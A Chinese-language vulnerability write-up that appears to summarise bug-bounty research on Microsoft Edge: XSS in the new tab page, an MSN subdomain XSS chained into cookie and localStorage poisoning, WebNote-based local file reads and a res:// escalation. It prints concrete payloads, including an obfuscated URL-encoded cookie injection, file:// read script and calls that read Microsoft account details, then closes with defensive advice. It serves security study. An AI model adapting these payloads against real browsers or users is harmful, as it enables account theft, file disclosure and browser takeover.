微软Edge浏览器Web漏洞挖掘系列-从简单上手到高级利用
字数 1421 2025-08-24 10:10:13
Microsoft Edge浏览器漏洞挖掘与利用高级指南
一、Microsoft Edge浏览器漏洞概述
Microsoft Edge基于Chromium内核开发,与Chrome浏览器共享大部分代码基础。微软为Edge漏洞设立了高额赏金计划,符合资格的漏洞最高可获得3万美元奖励(约17万人民币)。
主要漏洞类型
- XSS漏洞(跨站脚本)
- 权限提升漏洞(EoP)
- 远程代码执行漏洞(RCE)
- 本地文件泄露漏洞
- 缓存中毒攻击
二、新标签页(NTP)中的XSS漏洞利用
漏洞背景
- Edge的新标签页实际上是访问在线网站:
https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing - 该页面具有高权限,可以访问普通网页无法使用的chrome对象函数
漏洞发现
- XSS注入点:发现Edge浏览器在展示常用网站(top site)时未过滤title标签,导致HTML标签被渲染
- 权限提升:通过XSS注入高权限页面,访问chrome对象中的特权函数
利用步骤
- 构造恶意网站,使其title包含XSS payload
- 用户访问该网站后,该网站会被Edge记录为常用网站
- 当用户打开新标签页时,XSS payload被执行
关键代码
// 通过chrome对象检查权限
console.log(chrome); // 比较普通页面和高权限页面的chrome对象差异
// 发现的特权函数
chrome.qbox.navigate({id:999999, url:null}); // 可导致浏览器崩溃
漏洞影响
- 可导致浏览器崩溃(Crash)
- 潜在的可利用崩溃可能导致远程代码执行(RCE)
三、新标签页(NTP)接管攻击
攻击链概述
- 在MSN子域名中发现XSS漏洞
- 通过XSS设置cookie,影响所有msn.com子域
- 利用cookie污染NTP页面缓存
- 持久化控制用户的新标签页
详细步骤
-
发现XSS漏洞:在
technology.za.msn.com找到未过滤的POST参数POST /pebble.asp?relid=172 HTTP/1.1 Host: technology.za.msn.com Content-Type: application/x-www-form-urlencoded Content-Length: 20 startnum=90'<b>xss</b> -
设置恶意cookie:通过XSS设置影响所有子域的cookie
(qd = new Date()).setMonth(qd.getMonth() + 12); document.cookie = "domainId=" + ('q"*' + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') + '*"q') + ";expires=" + qd + ";domain=.msn.com;path=/"; -
污染localStorage:通过同源策略修改NTP页面缓存
function() { for (q in localStorage) { if (q.indexOf('lastKnown') > -1) { with(qntpobj = JSON.parse(localStorage[q])) { qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom } with(qab = qntpobj) { localStorage[q] = JSON.stringify(qab) } } } }()
攻击效果
- 窃取Microsoft账户信息
chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)}) - 修改用户自定义站点
chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com") - 持久化跟踪用户行为
四、本地文件泄露与权限提升漏洞
WebNote功能利用
- WebNote特性:Edge的WebNote功能会将页面保存为本地HTML文件
- 注入点:通过blob URL欺骗WebNote保存恶意代码
a=URL.createObjectURL(new Blob(['Create a WebNote and start drawing something.<script>window.onblur=e=>{opener.postMessage(script>'],{type:'text/html'})); history.replaceState('','',a.split('/')[3]); location.protocol='blob:http:';
文件读取限制绕过
- 限制:Edge限制HTML文件只能访问其所在目录及子目录
- 绕过方法:利用history API欺骗文件路径
setTimeout(function(){ history.pushState('','','file:///C:/a/fictional-non-existent.html') },500); setTimeout(function(){ document.write("<a id=qa href=\"javascript:try{top.fetch('file:///C:/a/q.txt',{mode:'no-cors',credentials:'include'}).then((q)=>{return q.text()}).then((q)=>{alert(escape(q))});}catch(e){}\">aaaaa</a><script>qa.click()<\/script>") history.pushState('','','file:///C:/a/q.html'); history.back(); },1500);
权限提升方法
- 修改Edge实验性标志:通过res协议导航到内部页面
var qpay=escape`history.replaceState("","","res://edgehtml.dll/flags.htm");setTimeout(function(){document.write('<iframe src="javascript:top.external.SetExperimentalFlag(/F12ContextMenuEntryPoints/.source, false)">');history.pushState('','','res://apds.dll/REDIRECT.HTML?target=javascript:123');history.back();},333);`; location="res://apds.dll/REDIRECT.HTML?target=javascript:${qpay}";
五、防御建议
-
用户防御:
- 定期更新Edge浏览器
- 避免访问不可信网站
- 谨慎使用WebNote功能
-
开发者防御:
- 对所有用户输入进行严格过滤
- 实现严格的CSP策略
- 隔离高权限页面的JavaScript执行环境
- 对localStorage和cookie访问实施更严格的限制
-
微软已修复措施:
- 修复NTP页面的XSS过滤漏洞
- 限制chrome特权API的访问
- 加强WebNote功能的安全检查
- 改进文件协议的安全性
六、总结
本指南详细介绍了Microsoft Edge浏览器中的多个高危漏洞及其利用方法,包括:
- 新标签页XSS漏洞
- 权限提升技术
- 缓存中毒攻击
- 本地文件泄露
- WebNote功能滥用
这些漏洞的组合利用可以导致严重后果,从信息泄露到完全控制用户浏览器。安全研究人员应了解这些技术以更好地发现和防御类似漏洞,而开发人员则应从中学习如何构建更安全的Web应用程序。